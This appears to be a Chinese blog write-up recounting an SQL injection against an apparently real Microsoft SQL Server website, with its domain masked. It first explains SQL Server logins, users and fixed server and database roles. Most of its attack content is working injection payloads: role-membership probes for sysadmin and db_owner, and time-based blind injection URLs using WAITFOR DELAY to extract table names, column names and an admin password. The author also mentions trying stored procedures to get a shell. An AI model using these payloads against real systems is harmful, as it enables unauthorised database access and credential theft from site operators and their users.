Tag:注入

Tag (注入)'s result:

又一次mssql注入历程

//记一次mssql注入历程 0x00 前置知识 先梳理连接数据库用户名,当前数据库用户名,数据库服务器角色,数据库角色的概念   数据库用户名 user—连接数据库用户名(登录名) –user() user_name()—连接数据库用户名(登录名) suser_sname()—当前数据库用户名 system_user—当前数据库用户名 如果看到dbo 那么多半当前数据库的用户是dba权限。   数据库服务器角色 ?id=8 and 1=CONVERT(int,(SELECT is_srvrolemember(‘sysadmin’)))– ?id=1 and 1=(SELECT IS_SRVROLEMEMBER(‘sysadmin’));– ?id=1 and 1=(SELECT IS_SRVROLEMEMBER(‘serveradmin’));– ?id=1 and 1=(SELECT IS_SRVROLEMEMBER(‘setupadmin’));– ?id=1 and 1=(SELECT IS_SRVROLEMEMBER(‘securityadmin’));– ?id=1 and 1=(SELECT IS_SRVROLEMEMBER(‘diskadmin’));– ?id=1 and 1=(SELECT IS_SRVROLEMEMBER(‘bulkadmin’));– 固定服务器角色 固定服务器角色具有一组固定的权限,并且适用于整个服务器范围。 它们专门用于管理 SQL Server,且不能更改分配给它们的权限。 可以在数据库中不存在用户帐户的情况下向固定服务器角色分配登录。 说    明 Sysadmin sa登录永远是固定服务器角色syadmin中的成员,并且不能从该角色中删除 执行SQL Server中的任何动作   serveradmin 配置服务器设置   setupadmin 安装复制和管理扩展过程   securityadmin 管理登录和CREATE DATABASE的权限以及阅读审计   processadmin 管理SQL Server进程   dbcreator 创建和修改数据库   diskadmin 管理磁盘文件   数据库角色 ?id=1 and 1=(SELECT IS_MEMBER(‘db_owner’));–   固定数据库角色 固定数据库角色具有一组预定义的权限,这些权限旨在允许您轻松管理权限组。 db_owner 角色的成员可对数据库执行所有配置和维护活动。   说    明 db_owner 可以执行数据库中技术所有动作的用户   db_accessadmin 可以添加、删除用户的用户   db_datareader 可以查看所有数据库中用户表内数据的用户   db_datawriter 可以添加、修改或删除所有数据库中用户表内数据的用户   db_ddladmin 可以在数据库中执行所有DDL操作的用户   db_securityadmin 可以管理数据库中与安全权限有关所有动作的用户   db_backoperator 可以备份数据库的用户(并可以发布DBCC和CHECKPOINT语句,这两个语句一般在备份前都会被执行)   db_denydatareader 不能看到数据库中任何数据的用户   db_denydatawriter 不能改变数据库中任何数据的用户   要使用数据库对象,必须将登录映射到数据库用户帐户。 dbo 或数据库所有者是具有在数据库中执行所有活动的默示权限的用户帐户。 sysadmin 固定服务器角色的成员会自动映射到 dbo   数据库登录名-数据库服务器角色(sa-sysadmin) 当前数据库用户名-数据库角色(dbo-db_owner) 一般sa-dbo   SQLSERVER就象一栋大楼,里面的每个房间都是一个数据库.登录名只是进入大楼的钥匙,而用户名则是进入房间的钥匙.一个登录名可以有多 个房间的钥匙.SQLSERVER把登录名与用户名的关系称为映射. —忘记出自哪篇文章了,比较形象。   0x01 起源 时间盲注 dbo用户   这下应该没啥曲折吧 继续开存储过程弹shell看看 没反应…….盲注爆数据太慢,算了收工。 猜测第一个表长度 http://www.xxx.com/Newslist.aspx?classid=2;if(select%20count(*)%20from%20sysobjects%20where%20name%20in%20(select%20top%201%20name%20from%20sysobjects%20where%20xtype=’u’)%20And%20(len(name))>11)=1%20waitfor%20delay%20’0:0:2’%20–   猜测第一个表第一个字母 http://www.xxx.com/Newslist.aspx?classid=2;if(select%20count(*)%20from%20sysobjects%20where%20name%20in%20(select%20top%201%20name%20from%20sysobjects%20where%20xtype=’u’)%20And%20ascii(substring(name,1,1))=75)=1%20waitfor%20delay%20’0:0:2’%20–   以此类推 猜列名 .aspx?id=1′;if(Ascii(substring((select top 1 column_name from information_schema.columns where table_name=’admin’),1,1)))>80 ‘0:0:5’%20–%20 猜密码 .aspx?id=1′;if(ascii(substring((select top 1 Password from admin),1,1)))>1 waitfor delay ‘0:0:5’%20–%20   0x02 参考资料 https://blog.csdn.net/e_online/article/details/4597957